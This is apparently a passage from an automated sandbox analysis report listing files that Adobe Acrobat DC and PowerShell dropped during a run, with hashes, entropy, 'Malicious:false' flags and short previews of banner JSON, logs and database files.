              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_277808ActionBlock_0","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"58886bd3-acd7-4f84-ae2e-6684bc127c41","variationId":"277808"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVkaXQgdGV4dCwgaW1hZ2VzLCBwYWdlcywgYW5kIG1vcmUuIn0sInRjYXRJZCI6IlJHUzAzNTEtRU5VLUNvbnRyb2wifQ==","dataType":"application\/json","encodingSch

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):1164
              Entropy (8bit):5.695764614084407
              Encrypted:false
              SSDEEP:
              MD5:D9F0FC6BE5360BF594CED7F704C40DD5
              SHA1:D9D5A53DAD151827727443228177E6921DA611C8
              SHA-256:199672C6FCF8CD33CF0D350397D56BFF4B7E5A1669EBC3A36E61159A6CFD0819
              SHA-512:103EDF5F65680E0D1C080F54DF9F4E84C79697F723A39E74220FDF14BC37D3F6808B28AD97028F218079389660276E2A157379A2BA14C88CFA321960D50C969F
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):289
              Entropy (8bit):5.301008677010934
              Encrypted:false
              SSDEEP:
              MD5:8284232AF2F6B8073D99852D405F93D0
              SHA1:7FA1934BC02C9DE09FDD9239E563F3E74E19688F
              SHA-256:F7454D465B9C72478EF0CDB2AB7A8CED81A174B9C1967CD80C4FD481EA6C5B07
              SHA-512:F4C409E8B97F29E3D29CE7B78DCA309AF638FEA11FECF6F1FEFC9A6638F7D6EFC890752E409B2DC8B3D3EBF9BFE67C4E0ED4655F60FEFFE56B70EEF4C53D18EE
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):1395
              Entropy (8bit):5.769696511524432
              Encrypted:false
              SSDEEP:
              MD5:6362433F8EBB5BE72F1908F0A129F82F
              SHA1:23DD8FEE8446D85194DAEB06D37B76B45D8BBDAE
              SHA-256:A5576E3FADB05120981A3F20D79C99878E5BBB3A0DEC5DE7B5E20C71584C0BF5
              SHA-512:D5D36DED1BA1ACF15951BE60B4E7D5D21D618D48077E6FE32163F188BDA2D5F8FB38121E2D4062E341068431FBE81E7C76EF91A39079835E4616F10E1F52F42C
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):291
              Entropy (8bit):5.28454884219675
              Encrypted:false
              SSDEEP:
              MD5:E67875C155522BEBECC29C1D98ECC4D7
              SHA1:93DF203ED2C27F1AF9B00A011808A5EB9D409578
              SHA-256:F49B1157463F90A44288DE06269DF929A42C8A4D661A332FB2D6681D94B6E170
              SHA-512:0E7D1A1C866DD0C6FA437D8A5190BDCB06013827B44B8B26A7F867B60B0ED28FF454C993C03297BBB2C3C2F5771D4C573B4EE9DB4125E3434453CA440F50AD50
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):287
              Entropy (8bit):5.287629743495371
              Encrypted:false
              SSDEEP:
              MD5:1F1F1BD1A84091A4EB26F23B4DAABCAF
              SHA1:D9D71E65326221704FB68B7958AFE6C6C7928E8C
              SHA-256:8FABE9238E92B2E7879997BE2D56E9E23ABA500DBAD59FC09D33E401573E8A8B
              SHA-512:0F9C74B0997DE2415474A641C75E650328ADA8E14EBA3D58FEEBC320A7ED6E53B5C5C55341577431AABEE3B1E95C662D4D7A9FC800E810D3B8D3599620E62AD3
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):1082
              Entropy (8bit):5.680924417936121
              Encrypted:false
              SSDEEP:
              MD5:DB6D265E17F836D01D9C39719BA1CE75
              SHA1:C8ADC9AA227BAEADE8427860B42560F47A28D331
              SHA-256:B939927B7F1E49D8CD36AD3A41649700E38BB809FB6D9CBAA2CE12703B1E611D
              SHA-512:86A284D6A6F64DB439C3771E522418C602912445D4FF0CC2DE5E20F3DC97C3A93897B2DDB9E1912E99CD25386C0A31AC1F39A37DF8B64E4281A585C163CD71FB
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_277808ActionBlock_1","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"a8b11c37-7d39-4b12-9d33-a040ee4d296b","variationId":"277808"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IlNlbmQgZG9jdW1lbnRzICYgZm9ybXNcbmZvciBmYXN0IGUtc2lnbmluZyBvbmxpbmUuIn0sInRjYXRJZCI6IlJHUzAzNTEtRU5VLUNvbnRyb2wifQ==","dataType":"application

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):286
              Entropy (8bit):5.261665001889319
              Encrypted:false
              SSDEEP:
              MD5:65F4E2F11CC1E49167D8A768AE27C6BF
              SHA1:EB41B2FBC92D06F58795606E34077E6218F8099A
              SHA-256:13047BEA98CD297148C3700F565C3F5686B8D48E227E42B636635732A171E8D2
              SHA-512:F8A0A98CCB856EDDB7EE3DB70863494A175FA1E2AB5D0E1C09D03B4B6526CFA8516CFBFB61AA8165501D7A2AA975C6FA3A03C56C3C1495C9FA09128523AB355E
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):782
              Entropy (8bit):5.3628328141157695
              Encrypted:false
              SSDEEP:
              MD5:787858C7F84049751442D5A0696AD471
              SHA1:B15B71D1756994E04E844B01DD14E22F91206182
              SHA-256:C317F78F834C342F548E6F961B56D420F465FB5DE7D5CA88958FCAFEEFE85542
              SHA-512:71BE7B6F73B22D5703E06414B3EAA4B5F82AF83B1A9342D34DDA0B616F6F3D2691B071C02ACE71B1A5AC803758C2D53C9670014B93F1CAE7D2B3EA636A1A4B73
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1729050390688}}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:data
              Category:dropped
              Size (bytes):4
              Entropy (8bit):0.8112781244591328
              Encrypted:false
              SSDEEP:
              MD5:DC84B0D741E5BEAE8070013ADDCC8C28
              SHA1:802F4A6A20CBF157AAF6C4E07E4301578D5936A2
              SHA-256:81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
              SHA-512:65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
              Malicious:false
              Reputation:unknown
              Preview:....

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):2818
              Entropy (8bit):5.127773822948695
              Encrypted:false
              SSDEEP:
              MD5:3CBC5A45BDADE444F8040BB547D926FB
              SHA1:1DDD5AFF0726D3908A9AFF68E0C12C7CA53F856C
              SHA-256:20AEE584A73366E875E133C5DAF480B9980063311CC9466120599B10D87BF530
              SHA-512:7C5E7898DC08FCAB27498DF7FEDC6DF6D7DB41F34754B7D928ACEB496F2F3F6E02D3B2972409032FA32FEAA576531D38A58811D61D920F82BACBA4BC3902CE36
              Malicious:false
              Reputation:unknown
              Preview:{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cea34f332cd57a3c536036b4557b41fb","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1050,"ts":1729050390000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6c14250a3148109e49f2d9ba5b2d8039","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1729050390000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8a30e55c6ae35f191e52c81de912cd27","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1082,"ts":1729050390000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d658acfa4866bb25174c6d8ab2b24332","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1083,"ts":1729050390000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"92389a6907e9a08986baf2c4a39bdaa4","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1062,"ts":1729050390000},{"id":"Edit_InApp_Aug2020","info":{"dg":"b4c63e86af81281ca6de17a9a17ebffa","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
              Category:dropped
              Size (bytes):12288
              Entropy (8bit):0.9876967032678908
              Encrypted:false
              SSDEEP:
              MD5:DA9F40F134596AB889DEC5ED6D9FEFD1
              SHA1:BA5A76E2D49BB0D8D7A42C0BA7F7B5E07286D729
              SHA-256:985CA444485B0570E05B9186067BA94D4A47AF84CE7B4D4FE7C1E86862B79781
              SHA-512:F2EE456D7DDDFDD7F95158152BB4C58CC32F81CAB27779D806C9B229E6ABBD8D6266B208E19C8B1323F9F55B0FBE64694FB0834B1D6DA57C2567381BC2E1047C
              Malicious:false
              Reputation:unknown
              Preview:SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:SQLite Rollback Journal
              Category:dropped
              Size (bytes):8720
              Entropy (8bit):1.3433417815680981
              Encrypted:false
              SSDEEP:
              MD5:C12634BB1C4952F57F1A7FDC9037E5B1
              SHA1:69352EFF860C486403BD19E4F805ECA7084A2ACB
              SHA-256:1C15B0B2A36EFFE6B3EAAE25255F34FB5D0EB176A76EF5A5F1F020BD245500E9
              SHA-512:CDA0FC38FEFB036941A8E146EFB8ACF2B38A5F925449CD84A8990FCB824E52B92C4F1FA8544DDDC3E475F04BDA3E51C4DE2604CDF9E6565FDB658A193856AE84
              Malicious:false
              Reputation:unknown
              Preview:.... .c......s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:data
              Category:dropped
              Size (bytes):19840
              Entropy (8bit):5.573396018874807
              Encrypted:false
              SSDEEP:
              MD5:E6E74221B43B3E35DB940C65F53C8D62
              SHA1:5D51C6C26D76DAB251F8388B1CE6C174C0ABB3CC
              SHA-256:8AF907F2E4A2ECEC52A54D1130190525C8BADB7881F7BE0B752643280938D87D
              SHA-512:E9E716F39FEA55F289F6D263A2058824AD72F48B1E491B235FF260113E6E991876C3EF22B3A1894526BDFC06ECEEC16CCFA293BF53A2302994BAD8DA4E88C036
              Malicious:false
              Reputation:unknown
              Preview:@...e...........3......... .....t.../.e..............@..........H...............o..b~.D.poM...I..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation4...............<."..Ke@...j..........System.Core.0.................Vn.F..kLsw..........System..4.................%...K... ...........System.Xml..L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4..................~..2K..}...0".......System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

              C:\Users\user\AppData\Local\Temp\MSI7bc4.LOG

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
              Category:dropped
              Size (bytes):246
              Entropy (8bit):3.5274671434738973
              Encrypted:false
              SSDEEP:
              MD5:A90CFA9EE35E35978AD44840EC02F334
              SHA1:F61119C6441640108C033E8331A037D2860E2C15
              SHA-256:9C4D2E73A268E6DA3F023571CEB569684435C3C0DDF5C738990790106AD0BF50
              SHA-512:7D2E6FD0F4C0D798753A853065DF353D2FEB983151FCFD620143613DB941745EEA4E3D4BCFC0167A24A8FD84FDE11DC492DA52164798ED27ED619BC86377BA1A
              Malicious:false
              Reputation:unknown
              Preview:..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.5./.1.0./.2.0.2.4. . .2.3.:.4.6.:.3.1. .=.=.=.....

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h4e5qewf.lzy.ps1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Reputation:unknown
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9e1ylje_1ki5sms_2gs.tmp

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:PDF document, version 1.6, 0 pages
              Category:dropped
              Size (bytes):358
              Entropy (8bit):5.030246912830911
              Encrypted:false
              SSDEEP:
              MD5:DCEA6A7BE0A678E05F114EC45FD138F0
              SHA1:465E664961B23AB24CFF340774FDB02611F46D0E
              SHA-256:3268C73E0F66740228F1CA99D621BAF089CB25747669E5940675281306D3F43A
              SHA-512:14C0477FDB491B5FCE2166EF25E721BFDCBDBD141E49C7C919DB8A67D31009D189D948BB090FC5D6D12551A64563ACF66261E72A9D1FC0E17EAB254CAC32546A
              Malicious:false
              Reputation:unknown
              Preview:%PDF-1.6.%......1 0 obj.<</Pages 2 0 R/Type/Catalog>>.endobj.2 0 obj.<</Count 0/Kids[]/Type/Pages>>.endobj.3 0 obj.<<>>.endobj.xref..0 4..0000000000 65535 f..0000000016 00000 n..0000000061 00000 n..0000000107 00000 n..trailer..<</Size 4/Root 1 0 R/Info 3 0 R/ID[<9AE5C22EFEC3EE498501DB2BEAF02F0E><9AE5C22EFEC3EE498501DB2BEAF02F0E>]>>..startxref..127..%%EOF..

              C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-15 23-46-26-396.log

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:ASCII text, with very long lines (393)
              Category:dropped
              Size (bytes):16525
              Entropy (8bit):5.353642815103214
              Encrypted:false
              SSDEEP:
              MD5:91F06491552FC977E9E8AF47786EE7C1
              SHA1:8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
              SHA-256:06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
              SHA-512:A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
              Malicious:false
              Reputation:unknown
              Preview:SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

              C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:ASCII text, with very long lines (393), with CRLF line terminators
              Category:dropped
              Size (bytes):16603
              Entropy (8bit):5.303760842951164
              Encrypted:false
              SSDEEP:
              MD5:043CA59D6A985C4DCB6960CA7501D0B7
              SHA1:46BBA248732F901200EC9404B307F1F056AFDF49
              SHA-256:7D768499134B0299C6E023433DFCA6AD2CB78BFB8300CE2BFC2847C4FB96969C
              SHA-512:A4D856966673BAC6EE5B37F11754AB138B8381EB87CC04A0056846FAA21ECEADB9264FB944B6D1693460618D99571819238852B6AD1D8DC7C75D7B9C9422149E
              Malicious:false
              Reputation:unknown
              Preview:SessionID=2604e234-6e65-4a44-b636-d5c0ee39a98c.1729050386433 Timestamp=2024-10-15T23:46:26:433-0400 ThreadID=4712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2604e234-6e65-4a44-b636-d5c0ee39a98c.1729050386433 Timestamp=2024-10-15T23:46:26:435-0400 ThreadID=4712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2604e234-6e65-4a44-b636-d5c0ee39a98c.1729050386433 Timestamp=2024-10-15T23:46:26:435-0400 ThreadID=4712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2604e234-6e65-4a44-b636-d5c0ee39a98c.1729050386433 Timestamp=2024-10-15T23:46:26:435-0400 ThreadID=4712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2604e234-6e65-4a44-b636-d5c0ee39a98c.1729050386433 Timestamp=2024-10-15T23:46:26:436-0400 ThreadID=4712 Component=ngl-lib_NglAppLib Description="SetConf

              C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):29845
              Entropy (8bit):5.4202993827252675
              Encrypted:false
              SSDEEP:
              MD5:9ACAF465AFE25BDDFF5EEA156CC0A5DF
              SHA1:82D8F246D9BB6E40C5C78A22DB5927DB28742D4B
              SHA-256:50E2510127E1A3A0B5F5D6F1A4768160BFCBCE3B0F6D65C22013C733F0767971
              SHA-512:248643BE592A29A01C9FE2B0677D555646E3A6520E75C33BB7000ABD93C663811FCEE97753EE98230B3073278E534A3F6F4090E0036A7DB7E5EC9751231226D3
              Malicious:false
              Reputation:unknown
              Preview:06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ******** Starting new session ********..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

